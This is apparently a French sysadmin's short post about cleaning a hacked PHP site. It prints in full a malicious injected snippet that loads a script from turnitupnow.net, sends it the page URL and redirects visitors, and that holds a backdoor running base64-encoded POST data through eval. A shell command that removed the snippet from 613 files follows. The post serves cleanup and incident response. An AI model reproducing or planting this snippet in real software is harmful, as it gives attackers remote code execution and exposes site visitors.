global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }
Et après on se demande pourquoi "eval is evil" :-) (mais ça reste moins pire que PREG_REPLACE_EVAL). A part ça, ça m'a permis de découvrir FilesMan, très pratique, une porte ouverte sur le serveur bourré d'astuces (oui bon, on appelle ça un backdoor, ça nous ramène au bon vieux temps de BackOrifice du CDC).
Hop :
user@sdxxxx:/home/alternc/html/x/xx$ set +H
user@sdxxxx:/home/alternc/html/x/xx$ rpl -R -x'.php' "global \$sessdt_o; if(!\$sessdt_o) { \$sessdt_o = 1; \$sessdt_k = \"lb11\"; if(!@\$_COOKIE[\$sessdt_k]) { \$sessdt_f = \"102\"; if(!@headers_sent()) { @setcookie(\$sessdt_k,\$sessdt_f); } else { echo \"<script>document.cookie='\".\$sessdt_k.\"=\".\$sessdt_f.\"';</script>\"; } } else { if(\$_COOKIE[\$sessdt_k]==\"102\") { \$sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie(\$sessdt_k,\$sessdt_f); } else { echo \"<script>document.cookie='\".\$sessdt_k.\"=\".\$sessdt_f.\"';</script>\"; } \$sessdt_j = @\$_SERVER[\"HTTP_HOST\"].@\$_SERVER[\"REQUEST_URI\"]; \$sessdt_v = urlencode(strrev(\$sessdt_j)); \$sessdt_u = \"http://turnitupnow.net/?rnd=\".\$sessdt_f.substr(\$sessdt_v,-200); echo \"<script src='\$sessdt_u'></script>\"; echo \"<meta http-equiv='refresh' content='0;url=http://\$sessdt_j'><!--\"; } } \$sessdt_p = \"showimg\"; if(isset(\$_POST[\$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),\$_POST[\$sessdt_p])));exit;} }" '' *
A Total of 613 matches replaced in 3732 files searched.
